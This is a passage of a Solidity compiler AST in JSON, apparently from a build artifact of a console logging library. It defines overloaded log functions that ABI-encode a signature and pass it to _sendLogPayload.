view"}},"id":19133,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28944:92:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19134,"nodeType":"ExpressionStatement","src":"28944:92:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"28865:3:14","parameters":{"id":19122,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19115,"mutability":"mutable","name":"p0","nameLocation":"28874:2:14","nodeType":"VariableDeclaration","scope":19136,"src":"28869:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19114,"name":"uint","nodeType":"ElementaryTypeName","src":"28869:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19117,"mutability":"mutable","name":"p1","nameLocation":"28886:2:14","nodeType":"VariableDeclaration","scope":19136,"src":"28878:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19116,"name":"address","nodeType":"ElementaryTypeName","src":"28878:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":19119,"mutability":"mutable","name":"p2","nameLocation":"28904:2:14","nodeType":"VariableDeclaration","scope":19136,"src":"28890:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19118,"name":"string","nodeType":"ElementaryTypeName","src":"28890:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19121,"mutability":"mutable","name":"p3","nameLocation":"28916:2:14","nodeType":"VariableDeclaration","scope":19136,"src":"28908:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19120,"name":"address","nodeType":"ElementaryTypeName","src":"28908:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"28868:51:14"},"returnParameters":{"id":19123,"nodeType":"ParameterList","parameters":[],"src":"28934:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19159,"nodeType":"FunctionDefinition","src":"29049:170:14","nodes":[],"body":{"id":19158,"nodeType":"Block","src":"29115:104:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c616464726573732c626f6f6c2c75696e7429","id":19150,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"29165:29:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_7b08e8ebd6be8a04c54551194ba5143f1a555d43fe60d53843383a9915eeccb2","typeString":"literal_string \"log(uint,address,bool,uint)\""},"value":"log(uint,address,bool,uint)"},{"id":19151,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19138,"src":"29196:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19152,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19140,"src":"29200:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":19153,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19142,"src":"29204:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":19154,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19144,"src":"29208:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_7b08e8ebd6be8a04c54551194ba5143f1a555d43fe60d53843383a9915eeccb2","typeString":"literal_string \"log(uint,address,bool,uint)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":19148,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"29141:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19149,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"29145:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"29141:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19155,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29141:70:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19147,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"29125:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19156,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29125:87:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19157,"nodeType":"ExpressionStatement","src":"29125:87:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"29058:3:14","parameters":{"id":19145,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19138,"mutability":"mutable","name":"p0","nameLocation":"29067:2:14","nodeType":"VariableDeclaration","scope":19159,"src":"29062:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19137,"name":"uint","nodeType":"ElementaryTypeName","src":"29062:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19140,"mutability":"mutable","name":"p1","nameLocation":"29079:2:14","nodeType":"VariableDeclaration","scope":19159,"src":"29071:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19139,"name":"address","nodeType":"ElementaryTypeName","src":"29071:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":19142,"mutability":"mutable","name":"p2","nameLocation":"29088:2:14","nodeType":"VariableDeclaration","scope":19159,"src":"29083:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":19141,"name":"bool","nodeType":"ElementaryTypeName","src":"29083:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":19144,"mutability":"mutable","name":"p3","nameLocation":"29097:2:14","nodeType":"VariableDeclaration","scope":19159,"src":"29092:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19143,"name":"uint","nodeType":"ElementaryTypeName","src":"29092:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"29061:39:14"},"returnParameters":{"id":19146,"nodeType":"ParameterList","parameters":[],"src":"29115:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19182,"nodeType":"FunctionDefinition","src":"29225:181:14","nodes":[],"body":{"id":19181,"nodeType":"Block","src":"29300:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c616464726573732c626f6f6c2c737472696e6729","id":19173,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"29350:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_63f0e24221aeb6c531ea500a191ac35497bf48695fb29864fe57726a12d605c6","typeString":"literal_string \"log(uint,address,bool,string)\""},"value":"log(uint,address,bool,string)"},{"id":19174,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19161,"src":"29383:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19175,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19163,"src":"29387:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":19176,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19165,"src":"29391:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":19177,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19167,"src":"29395:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_63f0e24221aeb6c531ea500a191ac35497bf48695fb29864fe57726a12d605c6","typeString":"literal_string \"log(uint,address,bool,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":19171,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"29326:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19172,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"29330:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"29326:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19178,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29326:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19170,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"29310:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19179,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29310:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19180,"nodeType":"ExpressionStatement","src":"29310:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"29234:3:14","parameters":{"id":19168,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19161,"mutability":"mutable","name":"p0","nameLocation":"29243:2:14","nodeType":"VariableDeclaration","scope":19182,"src":"29238:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19160,"name":"uint","nodeType":"ElementaryTypeName","src":"29238:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19163,"mutability":"mutable","name":"p1","nameLocation":"29255:2:14","nodeType":"VariableDeclaration","scope":19182,"src":"29247:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19162,"name":"address","nodeType":"ElementaryTypeName","src":"29247:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":19165,"mutability":"mutable","name":"p2","nameLocation":"29264:2:14","nodeType":"VariableDeclaration","scope":19182,"src":"29259:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":19164,"name":"bool","nodeType":"ElementaryTypeName","src":"29259:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":19167,"mutability":"mutable","name":"p3","nameLocation":"29282:2:14","nodeType":"VariableDeclaration","scope":19182,"src":"29268:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19166,"name":"string","nodeType":"ElementaryTypeName","src":"29268:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"29237:48:14"},"returnParameters":{"id":19169,"nodeType":"ParameterList","parameters":[],"src":"29300:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19205,"nodeType":"FunctionDefinition","src":"29412:170:14","nodes":[],"body":{"id":19204,"nodeType":"Block","src":"29478:104:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c616464726573732c626f6f6c2c626f6f6c29","id":19196,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"29528:29:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_7e27410dc86ab22a92f2a269c9cf538b707bde3ac248f933df1f4d0b76947d32","typeString":"literal_string \"log(uint,address,bool,bool)\""},"value":"log(uint,address,bool,bool)"},{"id":19197,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19184,"src":"29559:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19198,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19186,"src":"29563:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":19199,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19188,"src":"29567:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":19200,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19190,"src":"29571:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_7e27410dc86ab22a92f2a269c9cf538b707bde3ac248f933df1f4d0b76947d32","typeString":"literal_string \"log(uint,address,bool,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":19194,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"29504:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19195,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"29508:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"29504:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19201,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29504:70:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19193,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"29488:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19202,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29488:87:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19203,"nodeType":"ExpressionStatement","src":"29488:87:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"29421:3:14","parameters":{"id":19191,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19184,"mutability":"mutable","name":"p0","nameLocation":"29430:2:14","nodeType":"VariableDeclaration","scope":19205,"src":"29425:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19183,"name":"uint","nodeType":"ElementaryTypeName","src":"29425:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19186,"mutability":"mutable","name":"p1","nameLocation":"29442:2:14","nodeType":"VariableDeclaration","scope":19205,"src":"29434:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19185,"name":"address","nodeType":"ElementaryTypeName","src":"29434:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":19188,"mutability":"mutable","name":"p2","nameLocation":"29451:2:14","nodeType":"VariableDeclaration","scope":19205,"src":"29446:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":19187,"name":"bool","nodeType":"ElementaryTypeName","src":"29446:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":19190,"mutability":"mutable","name":"p3","nameLocation":"29460:2:14","nodeType":"VariableDeclaration","scope":19205,"src":"29455:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":19189,"name":"bool","nodeType":"ElementaryTypeName","src":"29455:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"29424:39:14"},"returnParameters":{"id":19192,"nodeType":"ParameterList","parameters":[],"src":"29478:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19228,"nodeType":"FunctionDefinition","src":"29588:176:14","nodes":[],"body":{"id":19227,"nodeType":"Block","src":"29657:107:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c616464726573732c626f6f6c2c6164647265737329","id":19219,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"29707:32:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_b6313094a820841f3156e32d271c63cceded7f62875d471e1e87ef33ec252789","typeString":"literal_string \"log(uint,address,bool,address)\""},"value":"log(uint,address,bool,address)"},{"id":19220,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19207,"src":"29741:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19221,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19209,"src":"29745:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":19222,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19211,"src":"29749:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":19223,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19213,"src":"29753:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_b6313094a820841f3156e32d271c63cceded7f62875d471e1e87ef33ec252789","typeString":"literal_string \"log(uint,address,bool,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":19217,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"29683:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19218,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"29687:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"29683:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19224,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29683:73:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19216,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"29667:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19225,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29667:90:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19226,"nodeType":"ExpressionStatement","src":"29667:90:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"29597:3:14","parameters":{"id":19214,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19207,"mutability":"mutable","name":"p0","nameLocation":"29606:2:14","nodeType":"VariableDeclaration","scope":19228,"src":"29601:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19206,"name":"uint","nodeType":"ElementaryTypeName","src":"29601:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19209,"mutability":"mutable","name":"p1","nameLocation":"29618:2:14","nodeType":"VariableDeclaration","scope":19228,"src":"29610:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19208,"name":"address","nodeType":"ElementaryTypeName","src":"29610:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":19211,"mutability":"mutable","name":"p2","nameLocation":"29627:2:14","nodeType":"VariableDeclaration","scope":19228,"src":"29622:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":19210,"name":"bool","nodeType":"ElementaryTypeName","src":"29622:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":19213,"mutability":"mutable","name":"p3","nameLocation":"29639:2:14","nodeType":"VariableDeclaration","scope":19228,"src":"29631:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19212,"name":"address","nodeType":"ElementaryTypeName","src":"29631:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"29600:42:14"},"returnParameters":{"id":19215,"nodeType":"ParameterList","parameters":[],"src":"29657:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19251,"nodeType":"FunctionDefinition","src":"29770:176:14","nodes":[],"body":{"id":19250,"nodeType":"Block","src":"29839:107:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c616464726573732c616464726573732c75696e7429","id":19242,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"29889:32:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_9a3cbf9603c94c357c6f62b7a32789d9ca5caa81518d1277c9ca986a5650734b","typeString":"literal_string \"log(uint,address,address,uint)\""},"value":"log(uint,address,address,uint)"},{"id":19243,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19230,"src":"29923:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19244,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19232,"src":"29927:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":19245,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19234,"src":"29931:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":19246,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19236,"src":"29935:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_9a3cbf9603c94c357c6f62b7a32789d9ca5caa81518d1277c9ca986a5650734b","typeString":"literal_string \"log(uint,address,address,uint)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":19240,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"29865:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19241,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"29869:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"29865:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19247,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29865:73:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19239,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"29849:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19248,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29849:90:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19249,"nodeType":"ExpressionStatement","src":"29849:90:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"29779:3:14","parameters":{"id":19237,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19230,"mutability":"mutable","name":"p0","nameLocation":"29788:2:14","nodeType":"VariableDeclaration","scope":19251,"src":"29783:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19229,"name":"uint","nodeType":"ElementaryTypeName","src":"29783:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19232,"mutability":"mutable","name":"p1","nameLocation":"29800:2:14","nodeType":"VariableDeclaration","scope":19251,"src":"29792:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19231,"name":"address","nodeType":"ElementaryTypeName","src":"29792:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":19234,"mutability":"mutable","name":"p2","nameLocation":"29812:2:14","nodeType":"VariableDeclaration","scope":19251,"src":"29804:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19233,"name":"address","nodeType":"ElementaryTypeName","src":"29804:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":19236,"mutability":"mutable","name":"p3","nameLocation":"29821:2:14","nodeType":"VariableDeclaration","scope":19251,"src":"29816:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19235,"name":"uint","nodeType":"ElementaryTypeName","src":"29816:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"29782:42:14"},"returnParameters":{"id":19238,"nodeType":"ParameterList","parameters":[],"src":"29839:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19274,"nodeType":"FunctionDefinition","src":"29952:187:14","nodes":[],"body":{"id":19273,"nodeType":"Block","src":"30030:109:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c616464726573732c616464726573732c737472696e6729","id":19265,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"